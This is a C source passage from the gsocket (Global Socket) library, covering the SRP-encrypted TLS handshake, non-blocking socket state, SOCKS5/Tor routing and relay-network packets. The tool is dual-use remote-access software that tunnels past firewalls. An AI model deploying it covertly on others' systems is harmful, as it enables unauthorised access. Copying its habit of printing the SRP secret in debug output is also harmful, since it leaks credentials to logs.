* multiple TCP connections and all using the same
* Global Socket address.
*/
ret = SSL_CTX_set_srp_cb_arg(ctx, gs->srpData);
XASSERT(ret == 1, "SSL_CTX_set_srp_cb_arg()\n");
} else {
DEBUGF("...SRP CLIENT...\n");
/* CLIENT */
SSL_CTX_set_srp_username(ctx, "user");
SSL_CTX_set_srp_cb_arg(ctx, gs);
SSL_CTX_set_srp_client_pwd_callback(ctx, srp_client_pwd_cb);
}
gs->ssl_ctx = ctx;
}
static void
gs_ssl_init(GS *gsocket)
{
SSL *ssl = gsocket->ssl;
if (ssl != NULL)
return;
ssl = SSL_new(gsocket->ssl_ctx);
gsocket->ssl = ssl;
}
const char *
GS_SSL_strerror(int err)
{
switch (err)
{
case SSL_ERROR_NONE:
return D_GRE("None");
case SSL_ERROR_ZERO_RETURN:
return "ZERO_RETURN (close-notify recv)";
case SSL_ERROR_WANT_READ:
return D_YEL("WANT_READ");
case SSL_ERROR_WANT_WRITE:
return D_YEL("WANT_WRITE");
case SSL_ERROR_WANT_CONNECT:
return "WANT CONNECT";
case SSL_ERROR_WANT_ACCEPT:
return "WANT ACCEPT";
case SSL_ERROR_WANT_X509_LOOKUP:
return "WANT X509 LOOKUP";
#ifdef SSL_ERROR_WANT_ASYNC
case SSL_ERROR_WANT_ASYNC:
return "WANT_ASYNC";
#endif
case SSL_ERROR_SYSCALL:
return D_RED("SYSCALL");
case SSL_ERROR_SSL:
return D_RED("FATAL ERROR");
}
return "unknown :/";
}
/*
* Determine if a call to SSL_* triggered WANT-READ or WANT-WRITE
* for the underlying I/O. WANT-READ does not mean that
* SSL_read() needs to be called but rather that the underlying
* tcp_fd needs to be ready for reading and that the original
* SSL_* function needs to be called - which could have been
* SSL_write() - Yes, SSL_write() might return WANT-READ
* and SSL_write() needs to be called again once the underlying
* socket has data ready for reading.
*
* Return 0 on success.
* Return -1 on fatal error.
*/
int
gs_ssl_want_io_rw(GS_SELECT_CTX *ctx, int fd, int err)
{
if (ctx == NULL)
return GS_ERR_FATAL;
char *ptr = NULL;
#ifdef DEBUG
char buf[128];
ptr = buf;
snprintf(buf, sizeof buf, "I/O SSL_%s", GS_SSL_strerror(err));
#endif
gs_select_rw_save_state(ctx, fd, ptr);
if (err == SSL_ERROR_WANT_READ)
{
XFD_SET(fd, ctx->rfd);
ctx->want_io_read[fd] = 1;
return 0;
}
if (err == SSL_ERROR_WANT_WRITE)
{
XFD_SET(fd, ctx->wfd);
ctx->want_io_write[fd] = 1;
DEBUGF_B("ctx->want_io_write[fd=%d] := %d\n", fd, ctx->want_io_write[fd]);
return 0;
}
return GS_ERR_FATAL;
}
void
gs_ssl_want_io_finished(GS *gs)
{
// DEBUGF_B("want_io_finished fd = %d\n", gs->fd);
/* Return if we do not track WANT-READ/WANT-WRITE */
if (gs->ctx->gselect_ctx == NULL)
return;
gs->ctx->gselect_ctx->want_io_read[gs->fd] = 0;
gs->ctx->gselect_ctx->want_io_write[gs->fd] = 0;
gs_select_rw_restore_state(gs->ctx->gselect_ctx, gs->fd, "X");
}
/*
* See GS_shutdown() for return values.
*/
int
gs_ssl_shutdown(GS *gsocket)
{
int ret;
int err;
gsocket->ssl_shutdown_count++;
DEBUGF_Y("%d. call to gs_ssl_shutdown\n", gsocket->ssl_shutdown_count);
if (gsocket->ssl == NULL)
{
DEBUGF_Y("*** WARNING ****: ssl == NULL\n");
return GS_ERR_FATAL;
}
/* SSL_shutdown() only closes the write direction. It is not possible
* to call SSL_write() after calling SSL_shutdown. The read directio is
* closed by the peer.
*/
ret = SSL_shutdown(gsocket->ssl);
DEBUGF_Y("SSL_shutdown() = %d (%s)\n", ret, ret==1?"COMPLETE":"waiting (stopped writing)");
/* 1 == SUCCESS (close notify received)
* 0 == Close-sent (check SSL_read() for EOF).
* Do not send any further data (but still receive data)
*/
gsocket->is_sent_shutdown = 1;
if (ret == 1)
{
/* SUCCESS (close notify received & sent) */
return GS_ERR_FATAL; /* SUCCESSFULL Shutdown. Ready to destroy connection now */
}
if (ret == 0)
{
gsocket->is_want_shutdown = 0;
/* HERE: Expecting more data (check SSL_read() */
// gsocket->ssl_wait_for_eof = 1;
return GS_SUCCESS; /* Connection open for reading only */
}
err = SSL_get_error(gsocket->ssl, ret);
DEBUGF_Y("SSL Error: %d\n", err);
ret = gs_ssl_want_io_rw(gsocket->ctx->gselect_ctx, gsocket->fd, err);
if (ret != 0)
return GS_ERR_FATAL;
gsocket->ctx->gselect_ctx->blocking_func[gsocket->fd] |= GS_CALLWRITE;
gsocket->write_pending = 1;
gsocket->is_want_shutdown = 1;
return GS_ERR_WAITING; /* Waiting for I/O */
}
static int
ssl_accept(GS *gsocket)
{
int ret;
ret = SSL_accept(gsocket->ssl);
DEBUGF("Call to SSL_accept() = %d\n", ret);
if (ret != 1)
{
gsocket->ssl_state = GS_SSL_STATE_ACCEPT;
return ret;
}
/* Check that is is a SRP connection (not x509) */
char *user = SSL_get_srp_username(gsocket->ssl);
if (user == NULL)
return -31337;
/* HERE: SSL SRP accepted and valid */
gsocket->ssl_state = GS_SSL_STATE_RW;
return 1; /* SUCCESS */
}
static int
ssl_connect(GS *gsocket)
{
int ret;
ret = SSL_connect(gsocket->ssl);
DEBUGF("SSL_connect() = %d\n", ret);
if (ret != 1)
{
gsocket->ssl_state = GS_SSL_STATE_CONNECT;
return ret;
}
gsocket->ssl_state = GS_SSL_STATE_RW;
return 1; /* SUCCESS */
}
static int
ssl_shutdown(GS *gs)
{
int ret;
ret = SSL_shutdown(gs->ssl);
DEBUGF_Y("SSL_shutdown() = %d\n", ret);
/* 0 = Not yet finished. (do not call SSL_get_error())
* 1 = complete
* <0 = would-block (WANT-WRITE or WANT-READ)
*/
if (ret < 0)
return ret; // WANT-WRITE or WANT-READ
gs->is_sent_shutdown = 1;
return 1;
}
static const char *
ssl_state_str(enum ssl_state_t state)
{
switch (state)
{
case GS_SSL_STATE_ACCEPT:
return "accept";
case GS_SSL_STATE_CONNECT:
return "connect";
case GS_SSL_STATE_RW:
return "read/write";
case GS_SSL_STATE_SHUTDOWN:
return "shutdown";
}
return "UNKNOWN";
}
/*
* Continue an interrupted state (SSL_accpet/SSL_connect)
*
* Return 0 when done (state recovered).
* Return -1 on fatal error.
* Return 1 if unknown state (and SSL_read() or SSL_write() should handle it.
*/
int
gs_ssl_continue(GS *gsocket, enum gs_rw_state_t rw_state)
{
int ret;
int state = gsocket->ssl_state;
/* FIXME: This check could be done in the calling function for speedup */
// DEBUGF("ssl-state=%d, rw_state=%d\n", state, rw_state);
if (rw_state == GS_CAN_WRITE)
{
// write wont block.
if (gsocket->is_want_shutdown == 0)
{
// Not a SSL_shutdown()
if ((state != GS_SSL_STATE_ACCEPT) && (state != GS_SSL_STATE_CONNECT) && (state != GS_SSL_STATE_SHUTDOWN))
{
// DEBUGF("ssl_continue: nothing to continue\n");
return 1; // nothing to do
}
}
} else {
if ((state != GS_SSL_STATE_ACCEPT) && (state != GS_SSL_STATE_CONNECT) && (state != GS_SSL_STATE_SHUTDOWN))
return 1;
}
/* SSL Handshake not yet complete. Complete it. */
if (state == GS_SSL_STATE_ACCEPT)
{
ret = ssl_accept(gsocket);
} else if (state == GS_SSL_STATE_CONNECT) { /* GS_SSL_STATE_CONNECT */
ret = ssl_connect(gsocket);
} else {
ret = ssl_shutdown(gsocket);
gsocket->is_want_shutdown = 0;
}
if (ret == 1)
{
DEBUGF_G("*** SUCCESS *** [SSL_%s()]\n", ssl_state_str(state));
gs_ssl_want_io_finished(gsocket);
if ((gsocket->is_want_shutdown != 0) && (state != GS_SSL_STATE_SHUTDOWN))
{
DEBUGF_Y("SHUTDOWN was requested earlier. Doing it now.\n");
GS_shutdown(gsocket);
}
/* SSL_accept()/SSL_connect() has finished. Drop into SSL_read()/SSL_write */
return 0;
}
/* From ssl_accept() if user was not found.
* No need to check SSL_get_error.
* This is fatal.
*/
if (ret == -31337)
return GS_ERR_FATAL;
/* SSL_connect()/SSL_accept() can return 1 on SUCCESS or <0 if WOULD-BLOCK */
/* A return value of 0 however means that the SSL was shut-down gracefully */
int err = SSL_get_error(gsocket->ssl, ret);
DEBUGF("SSL_ERROR SSL_%s() = SSL_%s(ret=%d, err=%d)\n", ssl_state_str(state), GS_SSL_strerror(err), ret, err);
if (ERR_peek_last_error())
DEBUGF_Y(" %s\n", ERR_error_string(ERR_peek_last_error(), NULL));
if ((err != SSL_ERROR_WANT_READ) && (err != SSL_ERROR_WANT_WRITE))
gs_set_errorf(gsocket, "SSL_%s: %s", ssl_state_str(state), GS_SSL_strerror(err));
ret = gs_ssl_want_io_rw(gsocket->ctx->gselect_ctx, gsocket->fd, err);
DEBUGF("gs_ssl_continue will return = %d (%s)\n", ret, ret<0?"FATAL":"continue");
if (ret != 0)
return GS_ERR_FATAL; /* Return a fatal error if SSL was shut-down */
return ret;
}
/*
* Initialize SSL Library if it hasnt been done so already.
* Create SSL_CTX on GS_CTX if it hasnt been done so already.
* Create SSL on GS if it hasnt been done so already.
*
* This is called at the start of GS_listen() or GS_connect().
*
* Return 0 on success.
* Return 1 if SSL_read/SSL_write is next
* Return -1 on fata error
*
*/
int
gs_srp_init(GS *gsocket)
{
gs_ssl_ctx_init(gsocket, gsocket->flags & GS_FL_IS_SERVER?1:0);
gs_ssl_init(gsocket); /* Call to SSL_new() */
DEBUGF("AFTER SSL init\n");
if (gsocket->fd < 0)
ERREXIT("can not happen, fd = %d\n", gsocket->fd);
SSL_set_fd(gsocket->ssl, gsocket->fd);
/* SRP client starts the handshake */
gsocket->ssl_state = GS_SSL_STATE_CONNECT;
if (gsocket->flags & GS_FL_IS_SERVER)
{
DEBUGF("This is SSL-SERVER (call SSL_accept()\n");
gsocket->ssl_state = GS_SSL_STATE_ACCEPT;
}
int ret;
ret = gs_ssl_continue(gsocket, GS_CAN_RW);
DEBUGF("gs_srp_init() will return %d\n", ret);
return ret;
}
void
GS_srp_setpassword(GS *gsocket, const char *pwd)
{
snprintf(gsocket->srp_sec, sizeof gsocket->srp_sec, "%s.%s.%s", "Blah", pwd, "blubb-SRPSEC");
DEBUGF("'%s'\n", gsocket->srp_sec);
}
const char *
GS_get_cipher(GS *gs)
{
if (gs->flags & GSC_FL_USE_SRP)
return GS_DFL_CIPHER"-End2End";
return "NO ENCRYPTION";
}
int
GS_get_cipher_strength(GS *gs)
{
if (gs->flags & GSC_FL_USE_SRP)
return atoi(GS_DFL_CIPHER_STRENGTH);
return 0;
}
#endif /* HAVE_LIBCRYPTO */
gsocket-1.4.41/lib/gsocket-engine.c 0000644 0001750 0001750 00000160051 14503376047 016774 0 ustar epsilon epsilon
#include "gs-common.h"
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "gsocket-engine.h"
#include "gs-externs.h"
#ifdef DEBUG
// # define DEBUG_SELECT (1)
#endif
#ifdef DEBUG
FILE *gs_dout; /* DEBUG OUTPUT */
int gs_did; // debug ID
int gs_debug_level;
fd_set *gs_debug_rfd;
fd_set *gs_debug_wfd;
fd_set *gs_debug_r;
fd_set *gs_debug_w;
#endif // DEBUG
FILE *gs_errfp;
gs_cb_log_t gs_func_log;
static struct _gs_log_info gs_log_info;
#define GS_NET_DEFAULT_HOST "gs.thc.org"
#define GS_SOCKS_DFL_IP "127.0.0.1"
#define GS_SOCKS_DFL_PORT 9050
#define GS_GS_HTON_DELAY (12 * 60 * 60) // every 12h
#ifdef DEBUG_SELECT
//# define GS_DEFAULT_PING_INTERVAL (30)
# define GS_RECONNECT_DELAY (3)
#else
//# define GS_DEFAULT_PING_INTERVAL (2*60) // Every 2 minutes
# define GS_RECONNECT_DELAY (15) // connect() not more than every 15s
# define GS_WARN_SLOWCONNECT (4) // Warn about slow connect() after 4 seconds...
#endif
// #define STRESSTEST 1
#ifdef STRESSTEST
//# define GS_DEFAULT_PING_INTERVAL (1)
#endif
static const char unit[] = "BKMGT"; /* Up to Exa-bytes. */
static int gs_pkt_listen_write(GS *gsocket, struct gs_sox *sox);
static int gs_pkt_connect_write(GS *gsocket, struct gs_sox *sox);
static int gs_pkt_connect_socks(GS *gsocket, struct gs_sox *sox);
static void gs_close(GS *gsocket);
static void gs_listen_add_gs_select_by_sox(GS_SELECT_CTX *ctx, gselect_cb_t func, int fd, void *arg, int val);
static void gs_net_try_reconnect_by_sox(GS *gs, struct gs_sox *sox);
static void gs_net_init_by_sox(GS_CTX *ctx, struct gs_sox *sox);
static int gs_net_connect_new_socket(GS *gs, struct gs_sox *sox);
#ifndef int_ntoa
const char *
int_ntoa(uint32_t ip)
{
struct in_addr in;
in.s_addr = ip;
return inet_ntoa(in);
}
#endif
#define gs_set_error(gs_ctx, a...) do { \
snprintf(gs_ctx->err_buf, sizeof (gs_ctx)->err_buf, a); \
} while (0)
void
gs_fds_out_fd(fd_set *fdset, char id, int fd)
{
#ifdef DEBUG_SELECT
if (FD_ISSET(fd, fdset))
DEBUGF("fd=%d %c (set)\n", fd, id);
else
DEBUGF("fd=%d %c (not set)\n", fd, id);
#endif
}
static int gs_lib_init_called;
void
gs_fds_out(fd_set *fdset, int max, char id)
{
#ifdef DEBUG_SELECT
char buf[max + 1 + 1];
memset(buf, ' ', sizeof buf);
int i;
for (i = 0; i <= max; i++)
buf[i] = '0' + i % 10;
buf[i] = '\0';
xfprintf(gs_dout, "%s (max = %d)\n", buf, max);
int n = 0;
memset(buf, '.', sizeof buf);
for (i = 0; i <= max; i++)
{
if (FD_ISSET(i, fdset))
{
n++;
buf[i] = id;
}
}
buf[i] = '\0';
xfprintf(gs_dout, "%s (Tracking: %d, max = %d)\n", buf, n, max);
#endif
}
void
gs_fds_out_rwfd(GS_SELECT_CTX *ctx)
{
#ifdef DEBUG_SELECT
int i;
char buf[ctx->max_fd + 1 + 1];
for (i = 0; i <= ctx->max_fd; i++)
buf[i] = '0' + i % 10;
buf[i] = '\0';
xfprintf(gs_dout, "%s (max = %d)\n", buf, ctx->max_fd);
memset(buf, ' ', sizeof buf);
buf[sizeof buf - 1] = '\0';
int c;
int n = 0;
for (i = 0; i <= ctx->max_fd; i++)
{
c = 0;
if (FD_ISSET(i, ctx->rfd))
c = 1;
if (FD_ISSET(i, ctx->wfd))
c += 2;
if (c == 0)
{
buf[i] = '.';
continue;
}
else if (c == 1)
buf[i] = 'R';
else if (c == 2)
buf[i] = 'W';
else if (c == 3)
buf[i] = 'X'; // Set of Reading _and_ Writing
else
buf[i] = 'E'; // Cant happen.
n++;
}
buf[i] = '\0';
xfprintf(gs_dout, "%s (Tracking: %d, max = %d)\n", buf, n, ctx->max_fd);
#endif
}
void
GS_library_init(FILE *err_fp, FILE *dout_fp, gs_cb_log_t func_log)
{
if (gs_lib_init_called != 0)
return;
gs_lib_init_called = 1;
/* Initialize SSL */
SSL_library_init();
OpenSSL_add_all_algorithms();
SSL_load_error_strings();
XASSERT(RAND_status() == 1, "RAND_status()");
if (func_log != NULL)
{
gs_log_info.msg = calloc(1, GS_LOG_INFO_MSG_SIZE);
XASSERT(gs_log_info.msg != NULL, "calloc: %s\n", strerror(errno));
}
gs_errfp = err_fp;
gs_func_log = func_log;
#ifdef DEBUG
gs_dout = dout_fp;
#endif
}
int
GS_CTX_init(GS_CTX *ctx, fd_set *rfd, fd_set *wfd, fd_set *r, fd_set *w, struct timeval *tv_now)
{
GS_library_init(stderr, stderr, NULL);
memset(ctx, 0, sizeof *ctx);
ctx->rfd = rfd;
ctx->wfd = wfd;
ctx->r = r;
ctx->w = w;
ctx->tv_now = tv_now;
#ifdef DEBUG_SELECT
gs_debug_rfd = rfd;
gs_debug_wfd = wfd;
gs_debug_r = r;
gs_debug_w = w;
#endif
if (ctx->rfd == NULL)
{
ERREXIT("Is this still being used? how about r and w == NULL?\n");
ctx->rfd = calloc(1, sizeof *ctx->rfd);
ctx->wfd = calloc(1, sizeof *ctx->wfd);
ctx->flags |= GS_CTX_FL_RFD_INTERNAL;
}
ctx->socks_port = htons(GS_SOCKS_DFL_PORT);
char *ptr;
ptr = GS_getenv("GSOCKET_SOCKS_IP");
if ((ptr != NULL) && (*ptr != '\0'))
ctx->socks_ip = inet_addr(ptr);
ptr = GS_getenv("GSOCKET_SOCKS_PORT");
if (ptr != NULL)
ctx->socks_port = htons(atoi(ptr));
ctx->gs_flags |= GSC_FL_USE_SRP; // Encryption by default
ctx->gs_flags |= GSC_FL_NONBLOCKING; // Non-blocking by default
ctx->flags_proto |= GS_FL_PROTO_FAST_CONNECT;
return 0;
}
/*
* Make use of GS_select() subsystem.
*/
void
GS_CTX_use_gselect(GS_CTX *ctx, GS_SELECT_CTX *gselect_ctx)
{
ctx->gselect_ctx = gselect_ctx;
}
int
GS_CTX_free(GS_CTX *ctx)
{
if (ctx->flags & GS_CTX_FL_RFD_INTERNAL)
{
XFREE(ctx->rfd);
XFREE(ctx->wfd);
}
memset(ctx, 0, sizeof *ctx);
return 0;
}
/*
* Copy over all elements of a GS to gs_new
* but increment gs-specific counters.
* This is typically used to create a GS from a listening GS.
*/
static void
gs_instantiate(GS *gsocket, GS *new_gs, int new_fd)
{
new_gs->ctx = gsocket->ctx;
new_gs->fd = new_fd;
new_gs->flags = gsocket->flags;
new_gs->ctx->gsocket_success_count++;
new_gs->id = new_gs->ctx->gsocket_success_count;
#ifdef WITH_GSOCKET_SSL
new_gs->ssl_ctx = gsocket->ssl_ctx;
new_gs->srpData = gsocket->srpData;
memcpy(new_gs->srp_sec, gsocket->srp_sec, sizeof new_gs->srp_sec);
if (new_gs->ssl != NULL)
DEBUGF("*** WARNING ***: old SSL found???\n");
new_gs->ssl = NULL;
#endif
}
static int
gs_set_ip_by_hostname(GS *gs, const char *hostname)
{
/* No hostname specified. Perhaps using env var GSOCKET_IP */
if (hostname == NULL)
return GS_SUCCESS;
/* When Socks5 is used then TCP goes to Socks5 server */
if (gs->ctx->socks_ip != 0)
return GS_SUCCESS;
/* HERE: Socks5 not used */
uint32_t gs_ip;
gs_ip = GS_hton(hostname);
if (gs_ip == 0xFFFFFFFF)
{
GS_LOG_ERR("Cannot resolve '%s'. Re-trying in %d seconds...\n", hostname, GS_RECONNECT_DELAY);
return GS_ERROR;
}
DEBUGF_B("Setting hostname=%s\n", hostname);
gs->net.tv_gs_hton = GS_TV_TO_USEC(gs->ctx->tv_now);
gs->net.addr = gs_ip;
return GS_SUCCESS;
}
// Call callback to pass log message from library to calling programm
void
GS_log(int type, int level, char *fmt, ...)
{
if (gs_func_log == NULL)
return;
va_list ap;
va_start(ap, fmt);
vsnprintf(gs_log_info.msg, GS_LOG_INFO_MSG_SIZE, fmt, ap);
va_end(ap);
gs_log_info.level = level;
gs_log_info.type = type;
(*gs_func_log)(&gs_log_info);
}
GS *
GS_new(GS_CTX *ctx, GS_ADDR *addr)
{
GS *gsocket = NULL;
char *ptr;
char *hostname;
gsocket = calloc(1, sizeof *gsocket);
XASSERT(gsocket != NULL, "calloc(): %s\n", strerror(errno));
gsocket->ctx = ctx;
gsocket->fd = -1;
uint16_t gs_port;
ptr = GS_getenv("GSOCKET_PORT");
if (ptr == NULL)
ptr = GS_getenv("GS_PORT");
if (ptr != NULL)
gs_port = htons(atoi(ptr));
else
gs_port = htons(GSRN_DEFAULT_PORT);
ctx->gs_port = gs_port; // Socks5 needs to know
gsocket->net.port = gs_port;
ptr = GS_getenv("GSOCKET_IP");
if (ptr != NULL)
{
gsocket->net.addr = inet_addr(ptr);
}
if ((ctx->socks_ip != 0) || (gsocket->net.addr == 0))
{
/* HERE: Use Socks5 -or- GSOCKET_IP not available */
char buf[256];
hostname = GS_getenv("GSOCKET_HOST");
if (hostname == NULL)
hostname = GS_getenv("GS_HOST");
if (hostname == NULL)
{
if (gsocket->net.addr != 0)
{
// Socks5 is used and GSOCKET_IP is set. Connect
// to GSOCKET_IP via Socks5.
hostname = strdup(int_ntoa(gsocket->net.addr));
} else {
uint8_t hostname_id;
hostname_id = GS_ADDR_get_hostname_id(addr->addr);
// Connect to [a-z].gsocket.io depending on GS-address
const char *domain;
domain = GS_getenv("GSOCKET_DOMAIN");
if (domain == NULL)
domain = GS_NET_DEFAULT_HOST;
snprintf(buf, sizeof buf, "%c.%s", 'a' + hostname_id, domain);
hostname = buf;
}
}
gsocket->net.hostname = strdup(hostname);
gs_set_ip_by_hostname(gsocket, gsocket->net.hostname);
}
if (ctx->socks_ip != 0)
{
// HERE: Socks5 is used
gsocket->net.addr = ctx->socks_ip;
gsocket->net.port = ctx->socks_port;
XASSERT(gsocket->net.hostname != NULL, "Socks5 but hostname not set\n");
}
gsocket->net.fd_accepted = -1;
gsocket->net.n_sox = 1;
int i;
for (i = 0; i < gsocket->net.n_sox; i++)
{
gsocket->net.sox[i].fd = -1;
}
gsocket->flags = ctx->gs_flags;
memcpy(&gsocket->gs_addr, addr, sizeof gsocket->gs_addr);
GS_srp_setpassword(gsocket, gsocket->gs_addr.srp_password);
GS_set_token(gsocket, NULL, 0);
return gsocket;
}
static void
gs_net_connect_complete(GS *gs, struct gs_sox *sox)
{
int vlevel = GS_LOG_LEVEL_VERBOSE;
// If we warned about a slow connection then also say when we succeeded...
if (sox->flags & GS_SOX_FL_WARN_SLOWCONNECT)
vlevel = GS_LOG_LEVEL_NONE;
if (gs->ctx->socks_ip != 0)
GS_log(GS_LOG_TYPE_NORMAL, vlevel, "GSRN connection established [via TOR to %s:%d].\n", gs->net.hostname, ntohs(gs->ctx->gs_port));
else
GS_log(GS_LOG_TYPE_NORMAL, vlevel, "GSRN connection established [%s:%d].\n", int_ntoa(gs->net.addr), ntohs(gs->ctx->gs_port));
if (gs->flags & GS_FL_IS_CLIENT)
gs_pkt_connect_write(gs, sox);
else
gs_pkt_listen_write(gs, sox);
if (gs->net.conn_count >= gs->net.n_sox)
gs->flags |= GS_FL_TCP_CONNECTED; // All TCP (APP) are now connected
sox->flags &= ~GS_SOX_FL_WARN_SLOWCONNECT;
}
/*
* First and completing call to 'connect()' (non-blocking).
* Return -2 on error (fatal, must exit)
* Return -1 if in progress
* Return 0 on success (connection actually established)
*/
static int
gs_net_connect_by_sox(GS *gsocket, struct gs_sox *sox)
{
struct sockaddr_in addr;
int ret;
memset(&addr, 0, sizeof addr);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = gsocket->net.addr;
addr.sin_port = gsocket->net.port;
errno = 0;
ret = connect(sox->fd, (struct sockaddr *)&addr, sizeof addr);
// DEBUGF("connect(%s:%d, fd = %d): %d (errno = %d, %s)\n", int_ntoa(gsocket->net.addr), ntohs(addr.sin_port), sox->fd, ret, errno, strerror(errno));
if (ret != 0)
{
if ((errno == EINPROGRESS) || (errno == EAGAIN) || (errno == EINTR))
{
XFD_SET(sox->fd, gsocket->ctx->wfd);
sox->state = GS_STATE_SYS_CONNECT;
return GS_ERR_WAITING;
}
if (errno != EISCONN)
{
/* HERE: NOT connected */
if (gsocket->ctx->socks_ip == 0)
{
// GS_LOG_ERR("connect(%s:%d): %s.\n", int_ntoa(gsocket->net.addr), ntohs(gsocket->net.port), strerror(errno));
gs_set_error(gsocket->ctx, "connect(%s:%d)", int_ntoa(gsocket->net.addr), ntohs(gsocket->net.port));
} else {
// GS_LOG_ERR("connect(%s:%d): %s. Tor not running?\n", int_ntoa(gsocket->net.addr), ntohs(gsocket->net.port), strerror(errno));
gs_set_error(gsocket->ctx, "connect(%s:%d). Tor not running?", int_ntoa(gsocket->net.addr), ntohs(gsocket->net.port));
}
return GS_ERR_FATAL;
}
}
/* HERRE: ret == 0 or errno == EISCONN (Socket is already connected) */
DEBUGF("connect(fd = %d) SUCCESS (errno = %d)\n", sox->fd, errno);
FD_CLR(sox->fd, gsocket->ctx->wfd);
XFD_SET(sox->fd, gsocket->ctx->rfd);
/* SUCCESSFULLY connected */
sox->state = GS_STATE_SYS_NONE; // Not stuck in a system call (connect())
gsocket->net.conn_count += 1;
if (gsocket->ctx->socks_ip != 0)
{
GS_LOG_VV("Connection to TOR established [%s:%d].\n", int_ntoa(gsocket->ctx->socks_ip), ntohs(gsocket->ctx->socks_port));
gs_pkt_connect_socks(gsocket, sox);
} else {
gs_net_connect_complete(gsocket, sox);
}
return GS_SUCCESS;
}
/*
* Return > 0 on success.
* Return 0 if write would block.
* Return -1 on error.
*/
static int
sox_write(struct gs_sox *sox, const void *data, size_t len)
{
int ret;
ret = write(sox->fd, data, len);
if (ret == len)
{
return len;
}
if (ret > 0)
ERREXIT("Fatal, partial write() should not happen.\n");
if (errno != EAGAIN)
return -1;
/* EAGAIN */
memcpy(sox->wbuf, data, len);
sox->wlen = len;
return 0;
}
static int
gs_pkt_connect_socks(GS *gs, struct gs_sox *sox)
{
// Auth: 0x05 0x01 0x00
// Conn: 0x05 0x01 0x00 0x03 [1-octet length] [domain name] [2-octet Port]
char buf[512];
char *ptr = &buf[0];
memcpy(buf, "\x05\x01\x00" "\x05\x01\x00\x03", 7);
ptr += 7;
size_t hlen = strlen(gs->net.hostname);
XASSERT(hlen <= 255, "hostname to long\n");
ptr[0] = hlen;
ptr++;
memcpy(ptr, gs->net.hostname, hlen);
ptr += hlen;
memcpy(ptr, &gs->ctx->gs_port, 2);
ptr += 2;
int ret;
ret = sox_write(sox, &buf, ptr - buf);
if (ret == 0)
sox->state = GS_STATE_SOCKS; // Call write() again
sox->flags |= GS_SOX_FL_AWAITING_SOCKS;
return 0;
}
static int
gs_pkt_ping_write(GS *gsocket, struct gs_sox *sox)
{
int ret;
DEBUGF("### PKT PING write(fd = %d)\n", sox->fd);
// Might be 0 if SSL has not completed yet
if (sox->fd < 0)
return 0;
/* Do not send PING if there is already data in output queue */
if (FD_ISSET(sox->fd, gsocket->ctx->wfd))
{
DEBUGF("skip PING. WANT_WRITE already set.\n");
return 0;
}
struct _gs_ping gping;
memset(&gping, 0, sizeof gping);
gping.type = GS_PKT_TYPE_PING;
ret = sox_write(sox, &gping, sizeof gping);
if (ret == 0)
sox->state = GS_STATE_PKT_PING;
/* write() will eventually complete.
* As soon as rfd is ready we are expecting a PONG
*/
sox->flags |= GS_SOX_FL_AWAITING_PONG;
return 0;
}
static int
gs_pkt_listen_write(GS *gsocket, struct gs_sox *sox)
{
int ret;
DEBUGF("### PKT LISTEN write(fd = %d)\n", sox->fd);
if (gsocket->flags & GS_FL_IS_CLIENT)
ERREXIT("CC trying to send a listen message. Should send connect.\n");
struct _gs_listen glisten;
memset(&glisten, 0, sizeof glisten);
glisten.type = GS_PKT_TYPE_LISTEN;
glisten.version_major = GS_PKT_PROTO_VERSION_MAJOR;
glisten.version_minor = GS_PKT_PROTO_VERSION_MINOR;
memcpy(glisten.token, gsocket->token, sizeof glisten.token);
memcpy(glisten.addr, gsocket->gs_addr.addr, MIN(sizeof glisten.addr, GS_ADDR_SIZE));
HEXDUMP(glisten.addr, sizeof glisten.addr);
ret = sox_write(sox, &glisten, sizeof glisten);
if (ret == 0)
sox->state = GS_STATE_PKT_LISTEN;
return 0;
}
static int
gs_pkt_connect_write(GS *gsocket, struct gs_sox *sox)
{
int ret;
DEBUGF("pkt_connect_write(fd = %d)\n", sox->fd);
struct _gs_connect gconnect;
memset(&gconnect, 0, sizeof gconnect);
gconnect.type = GS_PKT_TYPE_CONNECT;
gconnect.version_major = GS_PKT_PROTO_VERSION_MAJOR;
gconnect.version_minor = GS_PKT_PROTO_VERSION_MINOR;
gconnect.flags = gsocket->ctx->flags_proto;
DEBUGF_Y("Proto Flags: %x\n", gconnect.flags);
memcpy(gconnect.addr, gsocket->gs_addr.addr, MIN(sizeof gconnect.addr, GS_ADDR_SIZE));
ret = sox_write(sox, &gconnect, sizeof gconnect);
if (ret == 0)
sox->state = GS_STATE_PKT_CONNECT;
return 0;
}
static int
gs_pkt_accept_write(GS *gsocket, struct gs_sox *sox)
{
int ret;
struct _gs_accept gaccept;
memset(&gaccept, 0, sizeof gaccept);
gaccept.type = GS_PKT_TYPE_ACCEPT;
ret = sox_write(sox, &gaccept, sizeof gaccept);
if (ret == 0)
sox->state = GS_STATE_PKT_ACCEPT;
return 0;
}
/*
* Process a GS protocol message.
*/
static int
gs_pkt_dispatch(GS *gsocket, struct gs_sox *sox)
{
if (sox->rbuf[0] == GS_PKT_TYPE_PONG)
{
DEBUGF("PONG received\n");
sox->flags &= ~GS_SOX_FL_AWAITING_PONG;
return GS_SUCCESS;
}
if (sox->rbuf[0] == GS_PKT_TYPE_START)
{
/* Called by CLIENT and SERVER. Thereafter it's up to the application
* layer.
*/
struct _gs_start *start = (struct _gs_start *)sox->rbuf;
DEBUGF("START received. (flags = 0x%2.2x)\n", start->flags);
if (start->flags & GS_FL_PROTO_START_SERVER)
{
DEBUGF_Y("This is SERVER\n");
gsocket->flags |= GS_FL_IS_SERVER;
}
sox->state = GS_STATE_APP_CONNECTED;
gettimeofday(gsocket->ctx->tv_now, NULL);
memcpy(&gsocket->tv_connected, gsocket->ctx->tv_now, sizeof gsocket->tv_connected);
/* Indicate to caller that a new GS connection has started */
gsocket->net.fd_accepted = sox->fd;
gs_pkt_accept_write(gsocket, sox);
return GS_SUCCESS;
}
char msg[128];
if (sox->rbuf[0] == GS_PKT_TYPE_STATUS)
{
struct _gs_status *status = (struct _gs_status *)sox->rbuf;
DEBUGF("STATUS received. (type=%d, code=%d)\n", status->err_type, status->code);
if (status->err_type == GS_STATUS_TYPE_FATAL)
{
const char *err_str = "FATAL"; // *Unknown* default
switch (status->code)
{
case GS_STATUS_CODE_BAD_AUTH:
err_str = "Address already in use";
break;
case GS_STATUS_CODE_CONNREFUSED:
err_str = "Connection refused (no server listening)";
break;
case GS_STATUS_CODE_IDLE_TIMEOUT:
err_str = "Idle-Timeout. Server did not receive any data";
break;
case GS_STATUS_CODE_SERVER_OK:
err_str = "Server is listening.";
break;
default:
err_str = "UNKNOWN";
